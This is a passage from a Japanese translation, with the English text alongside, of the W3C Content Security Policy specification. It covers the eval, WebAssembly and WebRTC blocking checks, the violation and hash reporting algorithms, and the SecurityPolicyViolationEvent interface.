- %違反 の`要素$vr ~SET %要素 ◎ Set violation’s element to element.
- ~IF[ `report-sample^pl ~IN [ %指令 の`値$ ]] ⇒ %指令 の`見本$vr ~SET %~source の最初の 40 文字からなる文字列 ◎ If directive’s value contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.
- `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
-
- ~RET %結果 ◎ Return result.
4.2.6. 大域~obj用に~CSP初期化を走らす
次の~algoは、 所与の ( `大域~obj$ %大域~obj ) に対し, %大域~obj 用の~CSPを初期化する。 この~algoは、 %大域~obj 【用の~scriptを走らすこと】は[ 許容されるならば `許容される^i / 許容されないならば `阻止される^i ]を返す: ◎ Given a global object global, the user agent performs the following steps in order to initialize CSP for global. This algorithm returns "Allowed" if global is allowed, and "Blocked" otherwise:
- %大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し ⇒ %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し ⇒ ~IF[ %指令 の`初期化$A( %大域~obj【, %施策】 ) の結果 ~EQ `阻止される^i ] ⇒ ~RET `阻止される^i ◎ Let result be "Allowed". ◎ For each policy of global’s CSP list: • For each directive of policy: •• Execute directive’s initialization algorithm on global. If its returned value is "Blocked", then set result to "Blocked". • Return result.
- ~RET `許容される^i ◎ ↑
4.3. ~WebRTCとの統合
administratively-prohibited ~algo 【 “行政的に禁制される” かどうか決定する~algo?】 は、 `~WebRTC接続は大域~objに対し阻止されるべきか?$Aを~callする — その結果が `阻止される^i ならば、 すべての候補を禁制する。 ◎ The administratively-prohibited algorithm calls § 4.3.1 Should RTC connections be blocked for global? when invoked, and prohibits all candidates if it returns "Blocked".
4.3.1. ~WebRTC接続は大域~objに対し阻止されるべきか?
この~algoは、 所与の ( `大域~obj$ %大域~obj ) に対し,[ %大域~obj 用に作動中な施策は~WebRTC接続を阻止するならば `阻止される^i/ ~ELSE_ `許容される^i ]を返す: ◎ Given a global object global, this algorithm returns "Blocked" if the active policy for global blocks RTC connections, and "Allowed" otherwise:
- %結果 ~LET `許容される^i ◎ Let result be "Allowed".
-
%大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し: ◎ For each policy of global’s CSP list:
-
%施策 の`指令~集合$を成す ~EACH( %指令 ) に対し: ◎ For each directive of policy:
- ~IF[ %指令 の`~WebRTC接続前~検査$A() の結果 ~EQ `許容される^i ] ⇒ ~CONTINUE ◎ If directive’s webrtc pre-connect check returns "Allowed", continue.
- %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令 の`名前$ ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and directive’s name.
- %違反 の`資源$vr ~SET ~NULL ◎ Set violation’s resource to null.
- `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
-
- ~RET %結果 ◎ Return result.
4.4. ~ESとの統合
~ESは、 `HostEnsureCanCompileStrings$jA() 抽象-演算を定義する — それは、[ 文字列から~ES~codeへの~compilationを阻止する ]ことを,~host環境に許容する。 この文書は、 この抽象-演算の実装を定義する — それは、 関連な`~CSP~list$【!`~CSP~list$gO】を精査して, そのような~compilationは阻止されるべきかどうか決定する。 ◎ ECMAScript defines a HostEnsureCanCompileStrings() abstract operation which allows the host environment to block the compilation of strings into ECMAScript code. This document defines an implementation of that abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.
4.4.1. `EnsureCSPDoesNotBlockStringCompilation^jA( %~realm, %~parameter文字列~群, %本体~文字列, %~code文字列, %~compilation種別, %~parameter引数~群, %本体~引数 )
この~algoは、 所与の ⇒# `~realm$ %~realm, 文字列たちが成す~list %~parameter文字列~群, 文字列 %本体~文字列, 文字列 %~code文字列, 列挙値 %~compilation種別, ~ES言語~値たちが成す~list %~parameter引数~群, ~ES言語~値 %本体~引数 ◎終 に対し, 文字列の~compilationは[ 許容されるならば何もしない/ 許容されないならば `EvalError$E を投出する ]: ◎ Given a realm realm, a list of strings parameterStrings, a string bodyString, a string codeString, an enum (compilationType), a list of ECMAScript language values (parameterArgs), and an ECMAScript language value (bodyArg), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:
- %~source文字列 ~LET ε ◎ ↓
- ~IF[ %~compilation種別 ~EQ `TIMER^l ] ⇒ %~source文字列 ~SET %~code文字列 ◎ If compilationType is "TIMER", then: • Let sourceString be codeString.
-
~ELSE: ◎ Else:
- %~compilation~sink ~LET %~compilation種別 に応じて ⇒# `FUNCTION^l ならば `Function^l / ~ELSE_ `Eval^l ◎ Let compilationSink be "Function" if compilationType is "FUNCTION", and "Eval" otherwise.
- %信用-済みか ~LET ~IS[ %本体~引数 は `TrustedScript$I を`実装-$する ] ◎ Let isTrusted be true if bodyArg implements TrustedScript, and false otherwise.
-
~IF[ %信用-済みか ~EQ ~T ]~AND[ %本体~文字列 ~NEQ %本体~引数 の`~data$trS ] ⇒ %信用-済みか ~SET ~F ◎ If isTrusted is true then: • If bodyString is not equal to bodyArg’s data, set isTrusted to false.
-
~IF[ %信用-済みか ~EQ ~T ]: ◎ If isTrusted is true, then:
- ~Assert: %~parameter引数~群 の`~size$ ~EQ %~parameter文字列~群 の`~size$ ◎ Assert: parameterArgs’ [list/size=] is equal to [parameterStrings]' size.
-
`範囲$ { 0 〜 %~parameter引数~群 の`~size$ ~MINUS 1 } を成す ~EACH( %~index ) に対し: ◎ For each index of the range 0 to |parameterArgs]' [list/size=]:
- %引数 ~LET %~parameter引数~群[ %~index ] ◎ Let arg be parameterArgs[index].
-
~IF[ %引数 は `TrustedScript$I を`実装-$する ]: ◎ If arg implements TrustedScript, then:
- ~IF[ %~parameter文字列~群[ %~index ] ~NEQ %引数 の`~data$trS ] ⇒ %信用-済みか ~SET ~F ◎ if parameterStrings[index] is not equal to arg’s data, set isTrusted to false.
- ~ELSE ⇒ %信用-済みか ~SET ~F ◎ Otherwise, set isTrusted to false.
- %検証される~source ~LET `新たな~obj$( `TrustedScript$I, %~realm ) ◎ Let sourceToValidate be a new TrustedScript object created in realm\
- %検証される~source の`~data$trS ~SET %信用-済みか に応じて ⇒# ~T ならば %~code文字列 / ~F ならば %~code文字列 【?】 ◎ whose data is set to codeString if isTrusted is true, and codeString otherwise.
-
%~source文字列 ~SET `信用-済みな型に準拠な文字列を取得する$( ↓ ) ⇒# `TrustedScript$I, %~realm, %検証される~source, %~compilation~sink, `script^l ◎ Let sourceString be the result of executing the Get Trusted Type compliant string algorithm, with TrustedScript, realm, sourceToValidate, compilationSink, and 'script'.
例外が投出されたときは、 ~catchして ⇒ ~THROW `EvalError$E ◎ If the algorithm throws an error, throw an EvalError.
- ~IF[ %~source文字列 ~NEQ %~code文字列 ] ⇒ ~THROW `EvalError$E ◎ If sourceString is not equal to codeString, throw an EvalError.
- %結果 ~LET `許容される^i ◎ Let result be "Allowed".
- %大域~obj ~LET %~realm の`大域~obj$rM ◎ Let global be realm’s global object.
-
%大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し: ◎ For each policy of global’s CSP list:
- %~source~list ~LET ~NULL ◎ Let source-list be null.
- ~IF[ %施策 の`指令~集合$内に[ `名前$ `script-src^l を伴う`指令$ ]は在る ] ⇒ %~source~list ~SET その`指令$の`値$ ◎ If policy contains a directive whose name is "script-src", then set source-list to that directive's value.
- ~ELIF[ %施策 の`指令~集合$内に[ `名前$ `default-src^l を伴う`指令$ ]は在る ] ⇒ %~source~list ~SET その`指令$の`値$ ◎ Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.
-
~IF[ %~source~list ~NEQ ~NULL ]~AND[ %~source~list は[ `~source式$ ~EQ`大小無視$sub `unsafe-eval$pl ]を包含しない ]: ◎ If source-list is not null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then:
- %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, `script-src$dir ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".
- %違反 の`資源$vr ~SET `eval^l ◎ Set violation’s resource to "eval".
- ~IF[ `report-sample^pl ~IN %~source~list ] ⇒ %指令 の`見本$vr ~SET [ %~source文字列 を成す最初から 40 個までの文字たち ]が成す文字列 ◎ If source-list contains the expression "'report-sample'", then set violation’s sample to the substring of sourceString containing its first 40 characters.
- `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
- ~IF[ %結果 ~EQ `阻止される^i ] ⇒ ~THROW `EvalError$E ◎ If result is "Blocked", throw an EvalError exception.
4.5. ~WebAssemblyとの統合
~WebAssemblyは、 `HostEnsureCanCompileWasmBytes$jA() 抽象-演算を定義する — それは、[ ~WebAssembly~sourceから実行-可能~codeへの~compilationを阻止する ]ことを~host環境に許容する。 この文書は、 この抽象-演算の実装を定義する — それは、 関連な大域~objが`有する~CSP~list$を精査して,そのような~compilationは阻止されるべきかどうか決定する。 ◎ WebAssembly defines the HostEnsureCanCompileWasmBytes() abstract operation which allows the host environment to block the compilation of WebAssembly sources into executable code. This document defines an implementation of this abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.
4.5.1. `EnsureCSPDoesNotBlockWasmByteCompilationrealm^jA( %~realm )
この~algoは、 所与の ( `~realm$ %~realm ) に対し,~WebAssembly~sourceの~compilationは[ 許容されるならば何もしない/ 許容されないならば `CompileError$E を投出する ]: ◎ Given a realm realm, this algorithm returns normally if compilation is allowed, and throws a WebAssembly.CompileError if not:
- %大域~obj ~LET %~realm の`大域~obj$rM ◎ Let global be realm’s global object.
- %結果 ~LET `許容される^i ◎ Let result be "Allowed".
-
%大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し: ◎ For each policy of global’s CSP list:
- %~source~list ~LET ~NULL ◎ Let source-list be null.
- ~IF[ %施策 の`指令~集合$内に[ `名前$ `script-src^l を伴う`指令$ ]は在る ] ⇒ %~source~list ~SET その`指令$の`値$ ◎ If policy contains a directive whose name is "script-src", then set source-list to that directive's value.
- ~ELIF[ %施策 の`指令~集合$内に[ `名前$ `default-src^l を伴う`指令$ ]は在る ] ⇒ %~source~list ~SET その指令の`値$ ◎ Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.
-
~IF[ %~source~list ~NEQ ~NULL ]~AND[ "`unsafe-eval$pl" ~NIN`大小無視$sub %~source~list ]~AND[ "`wasm-unsafe-eval$pl" ~NIN`大小無視$sub %~source~list ]: ◎ If source-list is non-null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", and does not contain a source expression which is an ASCII case-insensitive match for the string "'wasm-unsafe-eval'", then:
- %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, `script-src^l ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".
- %違反 の`資源$vr ~SET `wasm-eval^l ◎ Set violation’s resource to "wasm-eval".
- `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
- ~IF[ %結果 ~EQ `阻止される^i ] ⇒ ~THROW `CompileError$E ◎ If result is "Blocked", throw a WebAssembly.CompileError exception.
5. 報告-法
ある`施策$の指令のうち一つ以上が違反されたときは、 `~CSP違反~報告@ ( `csp violation report^en )を生成して,[ `施策$に結付けられた`報告先$( `reporting endpoint^en ) ]に向けて送信してもヨイ。 ◎ When one or more of a policy’s directives is violated, a csp violation report may be generated and sent out to a reporting endpoint associated with the policy.
`~CSP違反~報告$の`報告~種別$は、 `csp-violation^l とする。 ◎ csp violation reports have the report type "csp-violation".
`~CSP違反~報告$は、 `報告用~観測器から可視$であるとする。 ◎ csp violation reports are visible to ReportingObservers.
[`Exposed$=Window] interface `CSPViolationReportBody@I : `ReportBody$I { [`Default$] object `toJSON@vB(); readonly attribute `USVString$ `documentURL@vB; readonly attribute `USVString$? `referrer@vB; readonly attribute `USVString$? `blockedURL@vB; readonly attribute `DOMString$ `effectiveDirective@vB; readonly attribute `DOMString$ `originalPolicy@vB; readonly attribute `USVString$? `sourceFile@vB; readonly attribute `DOMString$? `sample@vB; readonly attribute `SecurityPolicyViolationEventDisposition$I `disposition@vB; readonly attribute `unsigned short$ `statusCode@vB; readonly attribute `unsigned long$? `lineNumber@vB; readonly attribute `unsigned long$? `columnNumber@vB; };
[ `行先$rqとして`~scriptに類する$ものを伴う`要請$ ]が~fetchされるとき、 ある`施策$の`指令~集合$を成すある`指令$として[ そのような行先に影響iする ]かつ[ その`値$は[ `report-sha256$pl, `report-sha384$pl, `report-sha512$pl ]いずれかを含む ]ものが在る場合には、 `~CSP~hash報告@ と呼ばれる`報告$が生成され, 当の施策に結付けられた報告先†へ送信されることになる。 ◎ When a directive that impacts script-like destinations has a report-sha256, report-sha384 or report-sha512 value, and a request with a script-like destination is fetched, a csp hash report will be generated and sent out to a reporting endpoint associated with the policy.
【† 当の施策を成す `report-to$dir 指令に指定されたそれ (そのような指令は無い場合、 送信されない) — `必要なら~hashを報告する$Aを見よ。 】
`~CSP~hash報告$の`報告~種別$は、 `csp-hash^l とする。 ◎ csp hash reports have the report type "csp-hash".
`~CSP~hash報告$は、 `報告用~観測器から可視$でない。 ◎ csp hash reports are not visible to ReportingObservers.
`~CSP~hash報告の本体@ — `~CSP~hash報告$の`本体$rP — は、 次に挙げる~item【!field】からなる`構造体$である:
- `文書~URL@hrB ( `document_url^l )
- `下位資源~URL@hrB ( `subresource_url^l )
- `~hash@hrB ( `hash^l )
- `行先@hrB ( `destination^l )
- `種別@hrB ( `type^l )
【 括弧内(この訳による補完)は、 ~JSON~dataに変換される際の~key — 下の例を見よ。 】
◎ A csp hash report body is a struct with the following fields: documentURL, subresourceURL, hash, destination, type.ある文書【を~fetchしたとき】の応答が,次の~headerを包含していて: ◎ When a document’s response contains the headers:
Reporting-Endpoints: hashes-endpoint="https://example.com/reports" Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint
当の文書が~script "`main.js^c" を読込むときには、 次に類似な報告が送信されことになる: ◎ and the document loads the script "main.js", a report similar to the following one will be sent:
POST /reports HTTP/1.1 Host: example.com ... Content-Type: application/reports+json [{ "type": "csp-hash-report", "age": 12, "url": "https://example.com/", "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0", "body": { "document_url": "https://example.com/", "subresource_url": "https://example.com/main.js", "hash": "sha256-badbeef", "type": "subresource", "destination": "script" } }]
5.1. 違反~DOM~event
enum `SecurityPolicyViolationEventDisposition@I {
`enforce@l, `report@l
};
[`Exposed$=(Window,Worker)]
interface `SecurityPolicyViolationEvent@I : `Event$I {
constructor(`DOMString$ %type, optional `SecurityPolicyViolationEventInit$I %eventInitDict = {});
readonly attribute `USVString$ `documentURI@vE;
readonly attribute `USVString$ `referrer@vE;
readonly attribute `USVString$ `blockedURI@vE;
readonly attribute `DOMString$ `effectiveDirective@vE;
readonly attribute `DOMString$ `violatedDirective@vE; /*
`effectiveDirective$vE の歴史的な別名
◎
historical alias of effectiveDirective
*/
readonly attribute `DOMString$ `originalPolicy@vE;
readonly attribute `USVString$ `sourceFile@vE;
readonly attribute `DOMString$ `sample@vE;
readonly attribute `SecurityPolicyViolationEventDisposition$I `disposition@vE;
readonly attribute `unsigned short$ `statusCode@vE;
readonly attribute `unsigned long$ `lineNumber@vE;
readonly attribute `unsigned long$ `columnNumber@vE;
};
dictionary `SecurityPolicyViolationEventInit@I : `EventInit$I {
`USVString$ `documentURI@vI = "";
`USVString$ `referrer@vI = "";
`USVString$ `blockedURI@vI = "";
`DOMString$ `violatedDirective@vI = "";
`DOMString$ `effectiveDirective@vI = "";
`DOMString$ `originalPolicy@vI = "";
`USVString$ `sourceFile@vI = "";
`DOMString$ `sample@vI = "";
`SecurityPolicyViolationEventDisposition$I `disposition@vI = "enforce";
`unsigned short$ `statusCode@vI = 0;
`unsigned long$ `lineNumber@vI = 0;
`unsigned long$ `columnNumber@vI = 0;
};
【 `CSPViolationReportBody$I の[ `documentURL$vB / `blockedURL$vB ]と `SecurityPolicyViolationEvent$I の[ `documentURI$vE / `blockedURI$vE ]は、 名前が異なることに注意(おそらく、 歴史的な理由から)。 】
5.2. 違反の資源から~blockedURIを得する
次の~algoは、 所与の ( 違反の`資源$vr %資源 ) に対し,[ 違反~報告の `blockedURI$vE【!blocked URI】 ~fieldに利用されることになる`文字列$ ]を返す。 ◎ Given a violation’s resource resource, this algorithm returns a string, to be used as the blocked URI field for violation reports.
- ~Assert: %資源 は[ `~URL$/`文字列$ ]である。 ◎ Assert: resource is a URL or a string.
- ~IF[ %資源 は`~URL$である ] ⇒ ~RET `報告~内の利用-用に~URLを剥ぐ$A( %資源 ) ◎ If resource is a URL, return the result of executing § 5.4 Strip URL for use in reports on resource.
- ~RET %資源 ◎ Return resource.
5.3. 違反の直列化を得する(非推奨d)
次の~algoは、 所与の ( `違反$ %違反 ) に対し, %違反 を表現する~JSON~text文字列を[[ 非推奨にされた `report-uri$dir 指令 ]に結付けられた`報告先$への提出に相応しい~~形 ]にして返す: ◎ Given a violation violation, this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.
-
%本体 ~LET 新たな`~map$ — 以下に従って初期化する: ◎ Let body be a map with its keys initialized as follows:
- %本体[ `document-uri^l ] ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~URL$vr ) ◎ "document-uri" • The result of executing § 5.4 Strip URL for use in reports on violation’s url.
- %本体[ `referrer^l ] ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~referrer$vr ) ◎ "referrer" • The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.
- %本体[ `blocked-uri^l ] ~SET `違反の資源から~blockedURIを得する$A( %違反 の`資源$vr ) ◎ "blocked-uri" • The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.
- %本体[ `effective-directive^l ] ~SET %違反 の`有効果な指令$vr ◎ "effective-directive" • violation’s effective directive
- %本体[ `violated-directive^l ] ~SET %違反 の`有効果な指令$vr ◎ "violated-directive" • violation’s effective directive
- %本体[ `original-policy^l ] ~SET %違反 の`施策$vrを`直列化-$した結果 ◎ "original-policy" • The serialization of violation’s policy
- %本体[ `disposition^l ] ~SET %違反 の`施策$vrの`処置先$ ◎ "disposition" • The disposition of violation’s policy
- %本体[ `status-code^l ] ~SET %違反 の`状態s~code$vr ◎ "status-code" • violation’s status
-
%本体[ `script-sample^l ] ~SET %違反 の`見本$vr ◎ "script-sample" • violation’s sample
注記: 名前 `script-sample^l が選ばれたのは、[ Firefox による~CSPの初期~実装で出荷された,この特能の早期実装 ]との互換性を得るためである。 この名前にかかわらず,この~fieldは、 ~stylesheetの様な,~script以外の違反に対する見本も包含することになる。 [ `SecurityPolicyViolationEvent$I ~obj / 新たな `report-to$dir 指令を介して生成される報告 ]内に包含される~dataは、 より包摂的な名前にされる — `sample$vE のように。 ◎ Note: The name script-sample was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in a SecurityPolicyViolationEvent object, and in reports generated via the new report-to directive, is named in a more encompassing fashion: sample.
【 `~map$は有順序であるが、 原文の[ 記述/~markup ]は,順序が はっきりしない。 】
-
~IF[ %違反 の`~source~file$vr ~NEQ ~NULL ]: ◎ If violation’s source file is not null:
- %本体[ `source-file^l ] ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~source~file$vr ) ◎ Set body["source-file"] to the result of executing § 5.4 Strip URL for use in reports on violation’s source file.
- %本体[ `line-number^l ] ~SET %違反 の`行番号$vr ◎ Set body["line-number"] to violation’s line number.
- %本体[ `column-number^l ] ~SET %違反 の`列番号$vr ◎ Set body["column-number"] to violation’s column number.
- ~Assert:[ %本体[ `blocked-uri^l ] ~NEQ `inline^l ]ならば[ %本体[ `sample^l ] ~NEQ 空~文字列 ] ◎ Assert: If body["blocked-uri"] is not "inline", then body["sample"] is the empty string.
- ~RET `~Infra値を~JSON~byte列に直列化する$( «[ `csp-report^l → %本体 ]» ) ◎ Return the result of serialize an infra value to JSON bytes given «[ "csp-report" → body ]».
5.4. 報告~内の利用-用に~URLを剥ぐ
この~algoは、 所与の ( `~URL$ %~URL ) に対し, 違反~報告~内の利用-用に[ ~URLを表現する文字列 ]を返す: ◎ Given a URL url, this algorithm returns a string representing the URL for use in violation reports:
- ~IF[ %~URL の`~scheme$url は`~HTTP_S~scheme$でない ] ⇒ ~RET %~URL の`~scheme$url ◎ If url’s scheme is not an HTTP(S) scheme, then return url’s scheme.
- %~URL ~LET %~URL の複製 【この段は、この訳による補完(必要かどうかはっきりしないが)】
- %~URL の`素片$url ~SET 空~文字列 ◎ Set url’s fragment to the empty string.
- %~URL の`~username$url ~SET 空~文字列 ◎ Set url’s username to the empty string.
- %~URL の`~password$url ~SET 空~文字列 ◎ Set url’s password to the empty string.
- ~RET `~URLを直列化する$( %~URL ) ◎ Return the result of executing the URL serializer on url.
5.5. 違反を報告する
次の~algoは、 所与の ( `違反$ %違反 ) に対し,それを[ %違反 の`施策$vrに指定されている`報告先$ ]へ報告するとともに, %違反 の[ `要素$vr, `大域~obj$vr ]いずれかに向けて `securitypolicyviolation$et ~eventを発火する: ◎ Given a violation violation, this algorithm reports it to the endpoint specified in violation’s policy, and fires a SecurityPolicyViolationEvent at violation’s element, or at violation’s global object as described below:
- %大域~obj ~LET %違反 の`大域~obj$vr ◎ Let global be violation’s global object.
- %~target ~LET %違反 の`要素$vr ◎ Let target be violation’s element.
-
`~taskを~queueする$( 【~task~sourceが指定されていない】, 次の手続き ) ◎ Queue a task to run the following steps:
注記: ここで “~taskを~queueする” のは、 ~eventを~targetにして配送するのが[ ~JSが所与の違反を担当する~taskの実行(それは DOM を操作し得る)を完了した後 ]になることを確保するためである。 ◎ Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).
手続きは:
-
~IF[ %~target ~NEQ ~NULL ]~AND[ %大域~obj は `Window$I ~objである ]~AND[ %~target の`~shadowも含めた根$ ~NEQ %大域~obj に`結付けられた文書$ ] ⇒ %~target ~SET ~NULL ◎ If target is not null, and global is a Window, and target’s shadow-including root is not global’s associated Document, set target to null.
注記: これは~eventの発火-先になる要素は %違反 の`施策$vrの`文書$に`接続されて$いるものに限られることを確保する。 文書に接続されていない要素により 違反が生じた場合、 その違反が文書の~listenerから可視になることを確保するため, ~eventは 要素でなく当の文書に向けて発火されるようになる。 ◎ Note: This ensures that we fire events only at elements connected to violation’s policy’s Document. If a violation is caused by an element which isn’t connected to that document, we’ll fire the event at the document rather than the element in order to ensure that the violation is visible to the document’s listeners.
-
~IF[ %~target ~EQ ~NULL ]: ◎ If target is null:
- %~target ~SET %大域~obj ◎ Set target to violation’s global object.
- ~IF[ %~target は `Window$I ~objである ] ⇒ %~target ~SET %~target に`結付けられた文書$ ◎ If target is a Window, set target to target’s associated Document.
-
~IF[ %~target は `EventTarget$I を`実装-$する ] ⇒ `~eventを発火する$( %~target, `securitypolicyviolation@et, `SecurityPolicyViolationEvent$I ) — 次のように初期化して: ◎ If target implements EventTarget, fire an event named securitypolicyviolation that uses the SecurityPolicyViolationEvent interface at target with its attributes initialized as follows:
- `documentURI$vE ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~URL$vr ) ◎ documentURI • The result of executing § 5.4 Strip URL for use in reports on violation’s url.
- `referrer$vE ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~referrer$vr ) ◎ referrer • The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.
- `blockedURI$vE ~SET `違反の資源から~blockedURIを得する$A( %違反 の`資源$vr ) ◎ blockedURI • The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.
- `effectiveDirective$vE ~SET %違反 の`有効果な指令$vr ◎ effectiveDirective • violation’s effective directive
- `violatedDirective$vE ~SET %違反 の`有効果な指令$vr ◎ violatedDirective • violation’s effective directive
- `originalPolicy$vE ~SET %違反 の`施策$vr を`直列化-$した結果 ◎ originalPolicy • The serialization of violation’s policy
- `disposition$vE ~SET %違反 の`処置先$vr ◎ disposition • violation’s disposition
- `sourceFile$vE ~SET %違反 の`~source~file$vrに応じて ⇒# ~NULL ならば ~NULL 【 空~文字列?( ~NULL はとり得ない)】/ ~ELSE_ `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~source~file$vr ) ◎ sourceFile • The result of executing § 5.4 Strip URL for use in reports on violation’s source file, if violation’s source file is not null, or null otherwise.
- `statusCode$vE ~SET %違反 の`状態s~code$vr ◎ statusCode • violation’s status
- `lineNumber$vE ~SET %違反 の`行番号$vr ◎ lineNumber • violation’s line number
- `columnNumber$vE ~SET %違反 の`列番号$vr ◎ columnNumber • violation’s column number
- `sample$vE ~SET %違反 の`見本$vr ◎ sample • violation’s sample
- `bubbles$m ~SET ~T ◎ bubbles • true
- `composed$m ~SET ~T ◎ composed • true
注記: ここでは `composed$m 属性を設定する。 すなわち、 この~eventは ~shadow~treeにも伝播することになる — `target$m その他の~~詳細は、 ~~自動的に,~light~treeが正しく視野に入るようにされる。 ◎ Note: We set the composed attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. target, et al will be automagically scoped correctly for the main tree.
注記: `effectiveDirective$vI と `violatedDirective$vI は、 同じ値になる。 これは意図的であり、 後方-互換性を保守するためである。 ◎ Note: Both effectiveDirective and violatedDirective are the same value. This is intentional to maintain backwards compatibility.
- %指令~集合 ~LET %違反 の`施策$vrの`指令~集合$ ◎ ↓
-
~IF[ %指令~集合 内に[ `名前$ `report-uri$dir を伴う`指令$ ] %指令 は在る ]~AND[ %指令~集合 内に[ `名前$ `report-to$dir を伴う`指令$ ]は無い ]: ◎ If violation’s policy’s directive set contains a directive named "report-uri" directive: • If violation’s policy’s directive set contains a directive named "report-to", skip the remaining substeps.
-
%指令 の`値$を成す ~EACH( %~token ) に対し: ◎ For each token of directive’s value:
- %報告先 ~LET `~URL構文解析する$( %~token, %違反 の`~URL$vr ) ◎ Let endpoint be the result of executing the URL parser with token as the input, and violation’s url as the base URL.
- ~IF[ %報告先 ~EQ `失敗^i ] ⇒ ~BREAK ◎ If endpoint is not a valid URL, skip the remaining substeps.
-
%要請 ~LET 新たな`要請$ — その ⇒# `~method$rq ~SET `POST^l, `~URL$rq ~SET %違反 の`~URL$vr, `生成元$rq ~SET %違反 の`大域~obj$vrに`関連な設定群~obj$の`生成元$enV, `~window$rq ~SET `no-window^l, `~client$rq ~SET %違反 の`大域~obj$vrに`関連な設定群~obj$, `行先$rq ~SET `report^l, `起動元$rq ~SET 空~文字列, `資格証~mode$rq ~SET `same-origin^l, `~keepaliveか$rq ~SET ~T, `~header~list$rq ~SET « ( `Content-Type^h / `application/csp-report^l ) », `本体$rq ~SET %違反 を`直列化-(非推奨d)$Aした結果, `~redirect~mode$rq ~SET `error^l ◎ Let request be a new request, initialized as follows: ◎ method • "POST" url • violation’s url origin • violation’s global object’s relevant settings object’s origin window • "no-window" client • violation’s global object’s relevant settings object destination • "report" initiator • "" credentials mode • "same-origin" keepalive • "true" header list • A header list containing a single header whose name is "Content-Type", and value is "application/csp-report" body • The result of executing § 5.3 Obtain the deprecated serialization of violation on violation redirect mode • "error"
注記: %要請 の`~mode$rqは既定の `no-cors^l になり、 対する応答は まるごと無視される。 ◎ Note: request’s mode defaults to "no-cors"; the response is ignored entirely.
- %要請 を`~fetch$する — その結果は無視する。 ◎ Fetch request. The result will be ignored.
注記: この段のすべては、 非推奨にされたものと見なされるべきである。 これは,違反ごとに単独の要請を送信するため、 単純に~scalableでないので。 この挙動は、 ~UAから除去できるようになり次第,除去される。 ◎ Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn’t scalable. As soon as this behavior can be removed from user agents, it will be.
注記: `report-uri^dir が効果を発揮するのは、 `report-to^dir が無いときに限られる。 すなわち、 後者は前者を上書きし,新たな仕組みを~supportしない~browserとの後方-互換性が得られるようにする。 ◎ Note: report-uri only takes effect if report-to is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism.
-
-
~IF[ %指令~集合 内に[ `名前$ `report-to$dir を伴う`指令$ ] %指令 は在る ]: ◎ If violation’s policy’s directive set contains a directive named "report-to" directive:
-
%本体 ~LET 新たな `CSPViolationReportBody$I — その: ◎ Let body be a new CSPViolationReportBody, initialized as follows:
- `documentURL$vB ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~URL$vr ) ◎ documentURL • The result of executing § 5.4 Strip URL for use in reports on violation’s url.
- `referrer$vB ~SET `報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~referrer$vr ) ◎ referrer • The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.
- `blockedURL$vB ~SET `違反の資源から~blockedURIを得する$A( %違反 の`資源$vr ) ◎ blockedURL • The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.
- `effectiveDirective$vB ~SET %違反 の`有効果な指令$vr ◎ effectiveDirective • violation’s effective directive.
